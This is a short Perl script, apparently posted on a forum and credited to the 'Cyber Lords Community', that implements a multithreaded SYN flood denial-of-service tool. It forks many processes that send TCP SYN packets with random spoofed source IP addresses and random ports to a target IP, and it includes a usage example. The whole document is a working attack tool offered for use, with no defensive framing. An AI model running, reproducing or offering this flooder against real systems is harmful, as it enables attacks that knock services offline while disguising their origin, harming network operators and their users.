Код: Выделить всё
#!/usr/bin/perl
#Multithreads packet flooder with counterfeit ip
#Need additional perl module Net::RawIP (search.cpan.org)
#Using example: perl dos.pl -i 127.0.0.1 -n 10000 -t 100
#Cyber Lords Community
#http://www.cyberlords.net
require 'getopts.pl';
use Net::RawIP;
Getopts('i:n:t:');
die "Usage $0 -i <target> -n <number of packets> -t <number of threads>"
unless ($opt_i && $opt_n && $opt_t);
$pids = $opt_t;
#@flags=('urg','fin','syn','psh');
print "\n\nTarget: $opt_i";
print "\nThreads: $pids\n";
print "\nAttacks: $opt_n\n\n";
while($x<$opt_n){
for ($i=0;$i<=$pids;$i++) {
$x++;
if ($pid=fork()) {
push(@forked,$pid);
}
else {
##########SEND PACKET#########
$a = new Net::RawIP;
$opt_s=int(rand(255)).".".int(rand(255)).".".int(rand(255)).".".int(rand(255));
#$flag=@flags[int(rand(@flags))];
$a->set({ ip => {saddr => $opt_s,
daddr => $opt_i
},
tcp => {dest => int(rand(65536)),
source => int(rand(65536)),
urg => 0,
fin => 0,
syn => 1,
psh => 0}
});
$a->send;
##############################
print ".";
exit;
}
}
killpidz();
}
sub killpidz {
foreach (@forked) {
chomp;
waitpid($_,0);
kill("TERM" => $_)
}
undef @forked;
}
